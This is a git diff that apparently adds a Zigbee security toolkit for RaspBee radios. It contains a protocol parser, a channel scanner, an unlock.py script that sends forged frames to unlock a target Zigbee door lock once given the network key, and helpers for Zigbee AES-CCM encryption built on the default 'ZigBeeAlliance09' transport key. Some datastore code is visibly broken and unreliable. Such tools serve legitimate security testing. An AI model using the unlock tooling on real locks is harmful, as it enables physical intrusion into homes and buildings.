+ 0x04: "No routing capacity",
+ 0x05: "No indirect capacity",
+ 0x06: "Indirect transaction expiry",
+ 0x07: "Target device unavailable",
+ 0x08: "Target address unallocated",
+ 0x09: "Parent link failure",
+ 0x0a: "Validate route",
+ 0x0b: "Source route failure",
+ 0x0c: "Many-to-one route failure",
+ 0x0d: "Address conflict",
+ 0x0e: "Verify addresses",
+ 0x0f: "PAN identifier update",
+ 0x10: "Network address update",
+ 0x11: "Bad frame counter",
+ 0x12: "Bad key sequence number",
+ # 0x13 - 0xff Reserved
+ }), lambda pkt: pkt.cmd_identifier == 3),
+ # Destination address (2 octets)
+ ConditionalField(XLEShortField("destination_address", 0x0000), lambda pkt: pkt.cmd_identifier == 3), # noqa: E501
+
+ # - Leave Command - #
+ # Command options (1 octet)
+ # Bit 7: Remove children
+ ConditionalField(BitField("remove_children", 0, 1), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501
+ # Bit 6: Request
+ ConditionalField(BitField("request", 0, 1), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501
+ # Bit 5: Rejoin
+ ConditionalField(BitField("rejoin", 0, 1), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501
+ # Bit 0 - 4: Reserved
+ ConditionalField(BitField("reserved", 0, 5), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501
+
+ # - Route Record Command - #
+ # Relay count (1 octet)
+ ConditionalField(ByteField("rr_relay_count", 0), lambda pkt: pkt.cmd_identifier == 5), # noqa: E501
+ # Relay list (variable in length)
+ ConditionalField(
+ FieldListField("rr_relay_list", [], XLEShortField("", 0x0000), count_from=lambda pkt:pkt.rr_relay_count), # noqa: E501
+ lambda pkt:pkt.cmd_identifier == 5),
+
+ # - Rejoin Request Command - #
+ # Capability Information (1 octet)
+ ConditionalField(BitField("allocate_address", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Allocate Address # noqa: E501
+ ConditionalField(BitField("security_capability", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Security Capability # noqa: E501
+ ConditionalField(BitField("reserved2", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # bit 5 is reserved # noqa: E501
+ ConditionalField(BitField("reserved1", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # bit 4 is reserved # noqa: E501
+ ConditionalField(BitField("receiver_on_when_idle", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Receiver On When Idle # noqa: E501
+ ConditionalField(BitField("power_source", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Power Source # noqa: E501
+ ConditionalField(BitField("device_type", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Device Type # noqa: E501
+ ConditionalField(BitField("alternate_pan_coordinator", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Alternate PAN Coordinator # noqa: E501
+
+ # - Rejoin Response Command - #
+ # Network address (2 octets)
+ ConditionalField(XLEShortField("network_address", 0xFFFF), lambda pkt:pkt.cmd_identifier == 7), # noqa: E501
+ # Rejoin status (1 octet)
+ ConditionalField(ByteField("rejoin_status", 0), lambda pkt:pkt.cmd_identifier == 7), # noqa: E501
+
+ # - Link Status Command - #
+ # Command options (1 octet)
+ ConditionalField(BitField("reserved", 0, 1), lambda pkt:pkt.cmd_identifier == 8), # Reserved # noqa: E501
+ ConditionalField(BitField("last_frame", 0, 1), lambda pkt:pkt.cmd_identifier == 8), # Last frame # noqa: E501
+ ConditionalField(BitField("first_frame", 0, 1), lambda pkt:pkt.cmd_identifier == 8), # First frame # noqa: E501
+ ConditionalField(BitField("entry_count", 0, 5), lambda pkt:pkt.cmd_identifier == 8), # Entry count # noqa: E501
+ # Link status list (variable size)
+ ConditionalField(
+ PacketListField("link_status_list", [], LinkStatusEntry, count_from=lambda pkt:pkt.entry_count), # noqa: E501
+ lambda pkt:pkt.cmd_identifier == 8),
+
+ # - Network Report Command - #
+ # Command options (1 octet)
+ ConditionalField(
+ BitEnumField("report_command_identifier", 0, 3, {0: "PAN identifier conflict"}), # 0x01 - 0x07 Reserved # noqa: E501
+ lambda pkt: pkt.cmd_identifier == 9),
+ ConditionalField(BitField("report_information_count", 0, 5), lambda pkt: pkt.cmd_identifier == 9), # noqa: E501
+ # EPID: Extended PAN ID (8 octets)
+ ConditionalField(dot15d4AddressField("epid", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.cmd_identifier == 9), # noqa: E501
+ # Report information (variable length)
+ # Only present if we have a PAN Identifier Conflict Report
+ ConditionalField(
+ FieldListField("PAN_ID_conflict_report", [], XLEShortField("", 0x0000), # noqa: E501
+ count_from=lambda pkt:pkt.report_information_count),
+ lambda pkt:(pkt.cmd_identifier == 9 and pkt.report_command_identifier == 0) # noqa: E501
+ ),
+
+ # - Network Update Command - #
+ # Command options (1 octet)
+ ConditionalField(
+ BitEnumField("update_command_identifier", 0, 3, {0: "PAN Identifier Update"}), # 0x01 - 0x07 Reserved # noqa: E501
+ lambda pkt: pkt.cmd_identifier == 10),
+ ConditionalField(BitField("update_information_count", 0, 5), lambda pkt: pkt.cmd_identifier == 10), # noqa: E501
+ # EPID: Extended PAN ID (8 octets)
+ ConditionalField(dot15d4AddressField("epid", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.cmd_identifier == 10), # noqa: E501
+ # Update Id (1 octet)
+ ConditionalField(ByteField("update_id", 0), lambda pkt: pkt.cmd_identifier == 10), # noqa: E501
+ # Update Information (Variable)
+ # Only present if we have a PAN Identifier Update
+ # New PAN ID (2 octets)
+ ConditionalField(XLEShortField("new_PAN_ID", 0x0000),
+ lambda pkt: (pkt.cmd_identifier == 10 and pkt.update_command_identifier == 0)), # noqa: E501
+
+ # StrField("data", ""),
+ ]
+
+
+def util_mic_len(pkt):
+ ''' Calculate the length of the attribute value field '''
+ if (pkt.nwk_seclevel == 0): # no encryption, no mic
+ return 0
+ elif (pkt.nwk_seclevel == 1): # MIC-32
+ return 4
+ elif (pkt.nwk_seclevel == 2): # MIC-64
+ return 8
+ elif (pkt.nwk_seclevel == 3): # MIC-128
+ return 16
+ elif (pkt.nwk_seclevel == 4): # ENC
+ return 0
+ elif (pkt.nwk_seclevel == 5): # ENC-MIC-32
+ return 4
+ elif (pkt.nwk_seclevel == 6): # ENC-MIC-64
+ return 8
+ elif (pkt.nwk_seclevel == 7): # ENC-MIC-128
+ return 16
+ else:
+ return 0
+
+
+class ZigbeeSecurityHeader(Packet):
+ name = "Zigbee Security Header"
+ fields_desc = [
+ # Security control (1 octet)
+ FlagsField("reserved1", 0, 2, ['reserved1', 'reserved2']),
+ BitField("extended_nonce", 1, 1), # set to 1 if the sender address field is present (source) # noqa: E501
+ # Key identifier
+ BitEnumField("key_type", 1, 2, {
+ 0: 'data_key',
+ 1: 'network_key',
+ 2: 'key_transport_key',
+ 3: 'key_load_key'
+ }),
+ # Security level (3 bits)
+ BitEnumField("nwk_seclevel", 0, 3, {
+ 0: "None",
+ 1: "MIC-32",
+ 2: "MIC-64",
+ 3: "MIC-128",
+ 4: "ENC",
+ 5: "ENC-MIC-32",
+ 6: "ENC-MIC-64",
+ 7: "ENC-MIC-128"
+ }),
+ # Frame counter (4 octets)
+ XLEIntField("fc", 0), # provide frame freshness and prevent duplicate frames # noqa: E501
+ # Source address (0/8 octets)
+ ConditionalField(dot15d4AddressField("source", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.extended_nonce), # noqa: E501
+ # Key sequence number (0/1 octet): only present when key identifier is 1 (network key) # noqa: E501
+ ConditionalField(ByteField("key_seqnum", 0), lambda pkt: pkt.getfieldval("key_type") == 1), # noqa: E501
+ # Payload
+ # the length of the encrypted data is the payload length minus the MIC
+ StrField("data", ""), # noqa: E501
+ # Message Integrity Code (0/variable in size), length depends on nwk_seclevel # noqa: E501
+ XStrField("mic", ""),
+ ]
+
+ def post_dissect(self, s):
+ # Get the mic dissected correctly
+ mic_length = util_mic_len(self)
+ if mic_length > 0: # Slice "data" into "data + mic"
+ _data, _mic = self.data[:-mic_length], self.data[-mic_length:]
+ self.data, self.mic = _data, _mic
+ return s
+
+
+class ZigbeeAppDataPayload(Packet):
+ name = "Zigbee Application Layer Data Payload (General APS Frame Format)"
+ fields_desc = [
+ # Frame control (1 octet)
+ FlagsField("frame_control", 2, 4,
+ ['reserved1', 'security', 'ack_req', 'extended_hdr']),
+ BitEnumField("delivery_mode", 0, 2,
+ {0: 'unicast', 1: 'indirect',
+ 2: 'broadcast', 3: 'group_addressing'}),
+ BitEnumField("aps_frametype", 0, 2,
+ {0: 'data', 1: 'command', 2: 'ack'}),
+ # Destination endpoint (0/1 octet)
+ ConditionalField(
+ ByteField("dst_endpoint", 10),
+ lambda pkt: (pkt.frame_control.ack_req or pkt.aps_frametype == 2)
+ ),
+ # Group address (0/2 octets) TODO
+ # Cluster identifier (0/2 octets)
+ ConditionalField(
+ # unsigned short (little-endian)
+ EnumField("cluster", 0, _zcl_cluster_identifier, fmt=" 9))
+ ]
+
+
+class ZigBeeBeacon(Packet):
+ name = "ZigBee Beacon Payload"
+ fields_desc = [
+ # Protocol ID (1 octet)
+ ByteField("proto_id", 0),
+ # nwkcProtocolVersion (4 bits)
+ BitField("nwkc_protocol_version", 0, 4),
+ # Stack profile (4 bits)
+ BitField("stack_profile", 0, 4),
+ # End device capacity (1 bit)
+ BitField("end_device_capacity", 0, 1),
+ # Device depth (4 bits)
+ BitField("device_depth", 0, 4),
+ # Router capacity (1 bit)
+ BitField("router_capacity", 0, 1),
+ # Reserved (2 bits)
+ BitField("reserved", 0, 2),
+ # Extended PAN ID (8 octets)
+ dot15d4AddressField("extended_pan_id", 0, adjust=lambda pkt, x: 8),
+ # Tx offset (3 bytes)
+ # In ZigBee 2006 the Tx-Offset is optional, while in the 2007 and later versions, the Tx-Offset is a required value. # noqa: E501
+ BitField("tx_offset", 0, 24),
+ # Update ID (1 octet)
+ ByteField("update_id", 0),
+ ]
+
+
+# Inter-PAN Transmission #
+class ZigbeeNWKStub(Packet):
+ name = "Zigbee Network Layer for Inter-PAN Transmission"
+ fields_desc = [
+ # NWK frame control
+ BitField("reserved", 0, 2), # remaining subfields shall have a value of 0 # noqa: E501
+ BitField("proto_version", 2, 4),
+ BitField("frametype", 0b11, 2), # 0b11 (3) is a reserved frame type
+ BitField("reserved", 0, 8), # remaining subfields shall have a value of 0 # noqa: E501
+ ]
+
+ def guess_payload_class(self, payload):
+ if self.frametype == 0b11:
+ return ZigbeeAppDataPayloadStub
+ else:
+ return Packet.guess_payload_class(self, payload)
+
+
+class ZigbeeAppDataPayloadStub(Packet):
+ name = "Zigbee Application Layer Data Payload for Inter-PAN Transmission"
+ fields_desc = [
+ FlagsField("frame_control", 0, 4, ['reserved1', 'security', 'ack_req', 'extended_hdr']), # noqa: E501
+ BitEnumField("delivery_mode", 0, 2, {0: 'unicast', 2: 'broadcast', 3: 'group'}), # noqa: E501
+ BitField("frametype", 3, 2), # value 0b11 (3) is a reserved frame type
+ # Group Address present only when delivery mode field has a value of 0b11 (group delivery mode) # noqa: E501
+ ConditionalField(
+ XLEShortField("group_addr", 0x0), # 16-bit identifier of the group
+ lambda pkt: pkt.getfieldval("delivery_mode") == 0b11
+ ),
+ # Cluster identifier
+ EnumField("cluster", 0, _zcl_cluster_identifier, fmt="= 4:
+ v = orb(_pkt[2])
+ if v == 1:
+ return ZEP1
+ elif v == 2:
+ return ZEP2
+ return cls
+
+ def guess_payload_class(self, payload):
+ if self.lqi_mode:
+ return Dot15d4
+ else:
+ return Dot15d4FCS
+
+
+class ZEP1(ZEP2):
+ name = "Zigbee Encapsulation Protocol (V1)"
+ fields_desc = [
+ StrFixedLenField("preamble", "EX", length=2),
+ ByteField("ver", 0),
+ ByteField("channel", 0),
+ ShortField("device", 0),
+ ByteField("lqi_mode", 0),
+ ByteField("lqi_val", 0),
+ BitField("res", 0, 56), # 7 bytes reserved field
+ ByteField("len", 0),
+ ]
+
+
+# Bindings #
+
+# TODO: find a way to chose between ZigbeeNWK and SixLoWPAN (cf. sixlowpan.py)
+# Currently: use conf.dot15d4_protocol value
+# bind_layers( Dot15d4Data, ZigbeeNWK)
+
+bind_layers(ZigbeeAppDataPayload, ZigbeeAppCommandPayload, frametype=1)
+bind_layers(Dot15d4Beacon, ZigBeeBeacon)
+
+bind_bottom_up(UDP, ZEP2, sport=17754)
+bind_bottom_up(UDP, ZEP2, sport=17754)
+bind_layers(UDP, ZEP2, sport=17754, dport=17754)
diff --git a/requirements.txt b/requirements.txt
new file mode 100644
index 0000000..152ea6d
--- /dev/null
+++ b/requirements.txt
@@ -0,0 +1,6 @@
+sqlalchemy
+scapy
+pycryptodome
+argparse
+pyserial
+hexdump
diff --git a/scan.py b/scan.py
new file mode 100755
index 0000000..93504ca
--- /dev/null
+++ b/scan.py
@@ -0,0 +1,45 @@
+#!/usr/bin/env python
+import os
+import sys
+sys.path.append(os.getcwd() + "/zigdiggity")
+
+import time
+import argparse
+from zigdiggity.radios.raspbee_radio import RaspbeeRadio
+from zigdiggity.radios.observer_radio import ObserverRadio
+import zigdiggity.observers.utils as observer_utils
+from scapy.layers.dot15d4 import *
+from scapy.layers.zigbee import *
+from zigdiggity.interface.console import print_notify
+from zigdiggity.interface.components.logo import Logo
+from zigdiggity.misc.timer import Timer
+
+parser = argparse.ArgumentParser(description='Scan channels for Zigbee traffic')
+parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device')
+parser.add_argument('-s','--stdout',action='store_true',dest='stdout',required=False,help='dump traffic to stdout')
+parser.add_argument('-t','--timeout',action='store',type=int,dest='timeout',default=10,help='response listen timeout')
+parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
+args = parser.parse_args()
+
+logo = Logo()
+logo.print()
+
+hardware_radio = RaspbeeRadio(args.device)
+radio = ObserverRadio(hardware_radio)
+
+if args.wireshark:
+ observer_utils.register_wireshark(radio)
+if args.stdout:
+ observer_utils.register_stdout(radio)
+
+CHANNELS = [11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26]
+for channel in CHANNELS:
+ radio.set_channel(channel)
+
+ print_notify("Listening to channel %d" % radio.get_channel())
+
+ timer = Timer(args.timeout)
+ while(not timer.has_expired()):
+ result = radio.receive()
+
+radio.off()
diff --git a/setup.py b/setup.py
new file mode 100755
index 0000000..edc6cc9
--- /dev/null
+++ b/setup.py
@@ -0,0 +1,64 @@
+#!/usr/bin/env python
+# NOTE: See the README file for a list of dependencies to install.
+
+import sys
+
+try:
+ from setuptools import setup, Extension
+except ImportError:
+ print("No setuptools found, attempting to use distutils instead.")
+ from distutils.core import setup, Extension
+
+err = []
+warn = []
+apt_get_pkgs = []
+pip_pkgs = []
+
+# TODO: Ideally we would detect missing python-dev and libgcrypt-dev to give better errors.
+
+# Dot15d4 is a dep of some of the newer tools
+try:
+ from scapy.all import Dot15d4
+except ImportError:
+ warn.append("Scapy 802.15.4 (see README.md)")
+ pip_pkgs.append("git+https://github.com/secdev/scapy.git#egg=scapy")
+
+if len(err) > 0:
+ print("""
+Library requirements not met. Install the following libraries, then re-run the setup script.
+
+{}\n""".format('\n'.join(err)), file=sys.stderr)
+
+if len(warn) > 0:
+ print("""
+Library recommendations not met. For full support, install the following libraries, then re-run the setup script.
+
+{}\n""".format('\n'.join(warn)), file=sys.stderr)
+
+if len(apt_get_pkgs) > 0 or len(pip_pkgs) > 0:
+ print("The following commands should install these dependencies on Ubuntu, and can be adapted for other OSs:", file=sys.stderr)
+ if len(apt_get_pkgs) > 0:
+ print("\tsudo apt-get install -y {}".format(' '.join(apt_get_pkgs)), file=sys.stderr)
+ if len(pip_pkgs) > 0:
+ print("\tpip install {}".format(' '.join(pip_pkgs)), file=sys.stderr)
+
+if len(err) > 0:
+ sys.exit(1)
+
+setup(name = 'zigdiggity',
+ version = '2.1.0',
+ description = 'Zigbee Framework and Tools for RaspBee',
+ author = 'Peeps',
+ author_email = 'a@b.c',
+ license = 'LICENSE',
+ packages = ['zigdiggity',
+ 'zigdiggity/crypto',
+ 'zigdiggity/datastore',
+ 'zigdiggity/interface',
+ 'zigdiggity/misc',
+ 'zigdiggity/observers',
+ 'zigdiggity/packets',
+ 'zigdiggity/radios'],
+ scripts = [],
+ requires=['hexdump', 'pyserial(>=2.0)', 'pycryptodome', 'rangeparser', 'scapy', 'sqlalchemy'],
+ )
diff --git a/unlock.py b/unlock.py
new file mode 100755
index 0000000..b36ef35
--- /dev/null
+++ b/unlock.py
@@ -0,0 +1,62 @@
+#!/usr/bin/env python
+import os
+import sys
+sys.path.append(os.getcwd() + "/zigdiggity")
+
+import time
+import argparse
+import struct
+from scapy.layers.dot15d4 import *
+from scapy.layers.zigbee import *
+
+from zigdiggity.radios.raspbee_radio import RaspbeeRadio
+from zigdiggity.radios.observer_radio import ObserverRadio
+from zigdiggity.observers.wireshark_observer import WiresharkObserver
+import zigdiggity.crypto.utils as crypto_utils
+from zigdiggity.misc.actions import *
+from zigdiggity.interface.components.logo import Logo
+
+parser = argparse.ArgumentParser(description='Attempt to unlock the target lock')
+parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
+parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device')
+parser.add_argument('-e','--epan',action='store',type=lambda s: int(s.replace(':',''),16),dest='epan',required=True,help='The Extended PAN ID of the network to target')
+parser.add_argument('-a','--address',action='store',type=lambda s: int(s.replace(':',''),16),dest='address',required=True,help='The address of the device to target')
+parser.add_argument('-k','--key',action='store',type=lambda s: int(s.replace(':',''),16),dest='key',required=True,help='The network encryption key of the target network')
+parser.add_argument('-u','--attempts',action='store',type=int,dest='attempts',default=3,help='Number of unlock attempts')
+parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
+args = parser.parse_args()
+
+logo = Logo()
+logo.print()
+
+hardware_radio = RaspbeeRadio(args.device)
+radio = ObserverRadio(hardware_radio)
+
+if args.wireshark:
+ wireshark = WiresharkObserver()
+ radio.add_observer(wireshark)
+
+TARGET_EPAN = args.epan
+NWK_KEY = struct.pack(">QQ",args.key>>64,args.key%(2**64))
+channel = args.channel
+target_addr = args.address
+
+start_time = time.time()
+
+radio.set_channel(channel)
+
+panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
+if panid is None:
+ print_error("Could not find the PAN ID corresponding to the target network.")
+ exit(1)
+
+print_notify("Scanning channel %d" % channel)
+
+for attempt in range(args.attempts):
+ if not unlock_lock(radio, panid, target_addr, NWK_KEY):
+ panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
+ else:
+ break
+
+radio.off()
+print_notify("Total elapsed time: %f seconds" % (time.time()-start_time))
diff --git a/zigdiggity/__init__.py b/zigdiggity/__init__.py
new file mode 100755
index 0000000..e69de29
diff --git a/zigdiggity/crypto/utils.py b/zigdiggity/crypto/utils.py
new file mode 100755
index 0000000..cb5ae30
--- /dev/null
+++ b/zigdiggity/crypto/utils.py
@@ -0,0 +1,125 @@
+from Crypto.Cipher import AES
+from Crypto.Util import Counter
+import struct
+
+from scapy.layers.dot15d4 import *
+from scapy.layers.zigbee import *
+import struct
+
+conf.dot15d4_protocol = 'zigbee'
+
+DEFAULT_TRANSPORT_KEY = b'ZigBeeAlliance09'
+
+BLOCK_SIZE = 16
+MIC_SIZE = 4
+
+def block_xor(block1, block2):
+ return bytes([_a ^ _b for _a, _b in zip(block1, block2)])
+
+def zigbee_sec_hash(aInput):
+ # construct the whole input
+ zero_padding_length = (((BLOCK_SIZE-2) - len(aInput) % BLOCK_SIZE) - 1) % BLOCK_SIZE
+ padded_input = aInput + b'\x80' + b'\x00' * zero_padding_length + struct.pack(">H", 8*len(aInput))
+ number_of_blocks = int(len(padded_input)/BLOCK_SIZE)
+ key = b'\x00'*BLOCK_SIZE
+ for i in range(number_of_blocks):
+ cipher = AES.new(key, AES.MODE_ECB)
+ ciphertext = cipher.encrypt(padded_input[BLOCK_SIZE*i:BLOCK_SIZE*(i+1)])
+ key = block_xor(ciphertext, padded_input[BLOCK_SIZE*i:BLOCK_SIZE*(i+1)])
+ return key
+
+def zigbee_sec_key_hash(key, aInput):
+ ipad = b'\x36'*BLOCK_SIZE
+ opad = b'\x5c'*BLOCK_SIZE
+ key_xor_ipad = block_xor(key, ipad)
+ key_xor_opad = block_xor(key, opad)
+ return zigbee_sec_hash(key_xor_opad + zigbee_sec_hash(key_xor_ipad + aInput))
+
+def zigbee_trans_key(key):
+ return zigbee_sec_key_hash(key, b'\x00')
+
+def zigbee_decrypt(key, nonce, extra_data, ciphertext, mic):
+
+ cipher = AES.new(key, AES.MODE_CCM, nonce=nonce, mac_len=4)
+ cipher.update(extra_data)
+ text = cipher.decrypt(ciphertext)
+ try:
+ cipher.verify(mic)
+ mic_valid = True
+ except ValueError:
+ mic_valid = False
+ return (text, mic_valid)
+
+def zigbee_encrypt(key, nonce, extra_data, text):
+
+ cipher = AES.new(key, AES.MODE_CCM, nonce=nonce, mac_len=4)
+ cipher.update(extra_data)
+
+ ciphertext, mic = cipher.encrypt_and_digest(text)
+
+ return (ciphertext, mic)
+
+def zigbee_get_packet_nonce(aPacket, extended_source):
+
+ nonce = struct.pack('Q',*struct.unpack('>Q', extended_source)) + struct.pack('I', aPacket[ZigbeeSecurityHeader].fc) + struct.pack('B', bytes(aPacket[ZigbeeSecurityHeader])[0])
+ return nonce
+
+def zigbee_get_packet_header(aPacket):
+
+ ciphertext = aPacket[ZigbeeSecurityHeader].data
+ mic = aPacket[ZigbeeSecurityHeader].mic
+ data_len = len(ciphertext) + len(mic)
+
+ if ZigbeeAppDataPayload in aPacket:
+ if data_len > 0:
+ header = bytes(aPacket[ZigbeeAppDataPayload])[:-data_len]
+ else:
+ header = bytes(aPacket[ZigbeeAppDataPayload])
+ else:
+ if data_len > 0:
+ header = bytes(aPacket[ZigbeeNWK])[:-data_len]
+ else:
+ header = bytes(aPacket[ZigbeeNWK])
+
+ return header
+
+def zigbee_packet_decrypt(key, aPacket, extended_source):
+
+ new_packet = aPacket.copy()
+ new_packet[ZigbeeSecurityHeader].nwk_seclevel = 5
+ new_packet = Dot15d4FCS(bytes(new_packet))
+
+ ciphertext = new_packet[ZigbeeSecurityHeader].data
+ mic = new_packet[ZigbeeSecurityHeader].mic
+
+ header = zigbee_get_packet_header(new_packet)
+ nonce = zigbee_get_packet_nonce(new_packet, extended_source)
+
+ payload, mic_valid = zigbee_decrypt(key, nonce, header, ciphertext, mic)
+ frametype = new_packet[ZigbeeNWK].frametype
+ if frametype == 0 and mic_valid:
+ payload = ZigbeeAppDataPayload(payload)
+ elif frametype == 1 and mic_valid:
+ payload = ZigbeeNWKCommandPayload(payload)
+
+ return payload, mic_valid
+
+def zigbee_packet_encrypt(key, aPacket, text, extended_source):
+
+ if not ZigbeeSecurityHeader in aPacket:
+ return b''
+
+ new_packet = aPacket.copy()
+ new_packet[ZigbeeSecurityHeader].nwk_seclevel = 5
+
+ header = zigbee_get_packet_header(new_packet)
+ nonce = zigbee_get_packet_nonce(new_packet, extended_source)
+
+ data, mic = zigbee_encrypt(key, nonce, header, text)
+
+ new_packet.data = data
+ new_packet.mic = mic
+
+ new_packet.nwk_seclevel = 0
+ return Dot15d4FCS(bytes(new_packet))
+
diff --git a/zigdiggity/datastore/__init__.py b/zigdiggity/datastore/__init__.py
new file mode 100755
index 0000000..1772f7c
--- /dev/null
+++ b/zigdiggity/datastore/__init__.py
@@ -0,0 +1,13 @@
+from base import Base
+from sqlalchemy import create_engine
+from sqlalchemy.orm import sessionmaker
+from os.path import expanduser
+import radios
+import networks
+import devices
+import utils
+
+home = expanduser("~")
+engine = create_engine('sqlite:///%s/.zigdiggity.db'%home, connect_args={'check_same_thread':False})
+database_session = sessionmaker(engine)() # I only want to expose the session
+Base.metadata.create_all(bind=engine)
\ No newline at end of file
diff --git a/zigdiggity/datastore/base.py b/zigdiggity/datastore/base.py
new file mode 100755
index 0000000..d94a116
--- /dev/null
+++ b/zigdiggity/datastore/base.py
@@ -0,0 +1,4 @@
+from sqlalchemy.ext.declarative import declarative_base
+from sqlalchemy import String, Column, Integer, Boolean
+
+Base = declarative_base()
\ No newline at end of file
diff --git a/zigdiggity/datastore/device.py b/zigdiggity/datastore/device.py
new file mode 100755
index 0000000..d6b1c87
--- /dev/null
+++ b/zigdiggity/datastore/device.py
@@ -0,0 +1,24 @@
+
+from base import Base
+from sqlalchemy import Column, Binary, Boolean, Integer, DateTime, BigInteger
+import datetime
+
+class Device(Base):
+ __tablename__ = 'device'
+
+ id = Column(Integer, primary_key=True)
+ last_updated = Column(DateTime, default=datetime.datetime.utcnow, onupdate=datetime.datetime.utcnow)
+
+ pan_id = Column(Integer, ForeignKey('pan.id'))
+ pan = relationship("PAN")
+
+ address = Column(Binary)
+ extended_address = Column(Binary)
+ is_coordinator = Column(Boolean)
+
+ # keeping track of numbers
+ d15d4_sequence_number = Column(Integer)
+ nwk_sequence_number = Column(Integer)
+ aps_counter = Column(Integer)
+ zcl_sequence_number = Column(Integer)
+ frame_counter = Column(Integer)
diff --git a/zigdiggity/datastore/network.py b/zigdiggity/datastore/network.py
new file mode 100755
index 0000000..4b047a4
--- /dev/null
+++ b/zigdiggity/datastore/network.py
@@ -0,0 +1,16 @@
+from base import Base
+from sqlalchemy import Column, Binary, Boolean, Integer, DateTime, BigInteger
+import datetime
+
+class Network(Base):
+ __tablename__ = 'network'
+
+ id = Column(Integer, primary_key=True)
+ last_updated = Column(DateTime, default=datetime.datetime.utcnow, onupdate=datetime.datetime.utcnow)
+
+ unknown = Column(Boolean, default=False)
+
+ extended_pan_id = Column(Binary)
+ nwk_key = Column(Binary)
+
+ pans = relationship("PAN", back_populates="network")
diff --git a/zigdiggity/datastore/pan.py b/zigdiggity/datastore/pan.py
new file mode 100755
index 0000000..d34b172
--- /dev/null
+++ b/zigdiggity/datastore/pan.py
@@ -0,0 +1,14 @@
+from base import Base
+from sqlalchemy import Column, Binary, Boolean, Integer, DateTime, BigInteger
+import datetime
+
+class PAN(Base):
+ __tablename__ = 'pan'
+
+ id = Column(Integer, primary_key=True)
+
+ network_id = Column(Integer, ForeignKey('network.id'))
+ network = relationship("PAN", back_populates="pans")
+
+ channel = Column(Integer)
+ pan_id = Column(Binary)
\ No newline at end of file
diff --git a/zigdiggity/datastore/radio.py b/zigdiggity/datastore/radio.py
new file mode 100755
index 0000000..b7a9507
--- /dev/null
+++ b/zigdiggity/datastore/radio.py
@@ -0,0 +1,9 @@
+from base import Base
+from sqlalchemy import Column, Integer, String, Boolean
+
+class Radio(Base):
+ __tablename__='radio'
+
+ id = Column(Integer, primary_key=True)
+ radio_type = Column(String)
+ device_string = Column(String)
diff --git a/zigdiggity/datastore/utils.py b/zigdiggity/datastore/utils.py
new file mode 100755
index 0000000..e0649bc
--- /dev/null
+++ b/zigdiggity/datastore/utils.py
@@ -0,0 +1,150 @@
+from devices import Device
+from networks import Networks
+
+def find_network_by_packet(channel, packet):
+ pan = get_pan_id_by_packet(packet)
+ extended_pan = get_extended_pan_by_packet(packet)
+ return find_network(channel, pan=pan, extended_pan=extended_pan)
+
+def find_network(channel, pan=None, extended_pan=None):
+ if epan is None:
+ return database_session.query(Network).filter_by(channel=channel, pan_id=pan).first()
+ else:
+ return database_session.query(Network).filter_by(channel=channel, pan_id=pan, extended_pan_id=extended_pan)
+
+def find_device_by_packet(channel, packet):
+ pan = get_pan_id_by_packet(packet)
+ addr = get_short_address_by_packet(packet)
+ epan = get_extended_pan_id_by_packet(packet)
+ eaddr = get_full_address_by_packet(packet)
+ return find_device(channel, pan=pan, addr=addr, epan=epan, eaddr=eaddr)
+
+def find_device(channel, pan=None, addr=None, epan=None, eaddr=None):
+
+ # if we find a device with a specific extended address, then we know what it is
+ if eaddr is not None:
+ device = database_session.query(Device).filter_by(extended_address=eaddr).first()
+ if device is not None:
+ return device
+
+ # Use the device's network to find it
+ if epan is not None and addr is not None:
+ result = database_session.query(Device, PAN, Network).filter_by(Network.extended_pan_id=epan, Device.address=addr).order_by(Device.last_updated.desc()).first()
+ if result is not None:
+ device = result.Device
+ if device is not None:
+ return device
+
+ # Last we'll use PAN/ADDR
+ if pan is not None and addr is not None:
+ pan_obj = database_session.query(PAN).filter_by(channel=channel, pan_id=pan).first()
+ if pan_obj is not None:
+ device = database_session.query(Device).filter_by(pan_id=pan_obj.id, address=addr).first()
+ if device is not None:
+ return device
+
+ return None
+
+
+def get_short_address_by_packet(packet):
+ if Dot15d4FCS in packet:
+ if packet[Dot15d4FCS].fcf_srcaddrmode == 2: # Short
+ if Dot15d4Data in packet:
+ return packet[Dot15d4Data].src_addr
+ elif Dot15d4Cmd in packet:
+ return[Dot15d4Cmd].src_addr
+ elif Dot15d4Beacon in packet:
+ return packet[Dot15d4Beacon].src_addr
+ return None
+
+def get_full_address_by_packet(packet):
+ if ZigbeeNWK in packet:
+ if packet[ZigbeeNWK].flags & 16: # Extended source
+ return packet[ZigbeeNWK].ext_src
+ if ZigbeeSecurityHeader in packet:
+ return packet[ZigbeeSecurityHeader].source
+ return None
+
+def get_short_dest_address_by_packet(packet):
+ if Dot15d4FCS in packet:
+ if packet[Dot15d4FCS].fcf_destaddrmode == 2: # Short
+ if Dot15d4Data in packet:
+ return packet[Dot15d4Data].dest_addr
+ elif Dot15d4Cmd in packet:
+ return packet[Dot15d4Cmd].dest_addr
+ return None
+
+def get_full_dest_address_by_packet(packet):
+ if ZigbeeNWK in packet:
+ if packet[ZigbeeNWK].flags & 8: # Extended dest
+ return packet[ZigbeeNWK].ext_dst
+ return None
+
+def src_panid_present(packet):
+ if Dot15d4FCS in packet:
+ return packet.fcf_srcaddrmode != 0 and packet.fcf_panidcompress == 0
+ else:
